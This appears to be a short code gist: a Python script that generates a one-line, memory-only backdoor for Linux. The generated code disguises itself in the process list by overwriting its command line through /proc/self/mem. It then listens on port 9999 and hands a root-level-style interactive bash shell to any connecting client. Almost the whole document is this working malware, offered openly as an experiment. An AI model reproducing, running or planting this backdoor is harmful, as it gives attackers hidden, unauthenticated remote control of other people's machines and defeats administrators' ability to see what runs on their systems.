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Hackish one-liner memory-only backdoor agent which hides from ps
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#!/usr/bin/env python | |
# This script prints a simple one-liner memory-only backdoor agent which hides from ps. | |
# It renames itself within the process list using a really hackish (AND POTENTIALLY DANGEROUS) /proc/self/mem rewrite | |
# and spawns a shell on port 9999. Just an experiment, there are simplest way to run unnoticed in the | |
# process list (see the technique used by EmPyre: https://github.com/adaptivethreat/EmPyre) | |
template = """ | |
import sys,re,pty,os,socket | |
n="/bin/bash" | |
P=4096 | |
f="/proc/self/" | |
c=open(f+"cmdline").read() | |
mp=open(f+"maps").read(65536) | |
m=re.search("([0-9a-f]+)-([0-9a-f]+)\s+rw.+\[stack\]\\n", mp) | |
e=int("0x"+m.group(2), 0) | |
m=open(f+"mem", "r+") | |
m.seek(e-(2*P)) | |
s=m.read(8192) | |
i=s.index(c) | |
m.seek(e-(2*P)+i) | |
m.write(n) | |
m.write("\\x00"*(len(c)-len(n)+1)) | |
m.close() | |
k=socket.socket(socket.AF_INET,socket.SOCK_STREAM) | |
k.bind(("",9999)) | |
k.listen(1) | |
while 1: | |
(r, a)=k.accept() | |
os.dup2(r.fileno(),0) | |
os.dup2(r.fileno(),1) | |
os.dup2(r.fileno(),2) | |
pty.spawn("/bin/bash") | |
k.close() | |
""" | |
print 'python -c $%s' % (template.strip().__repr__()) |
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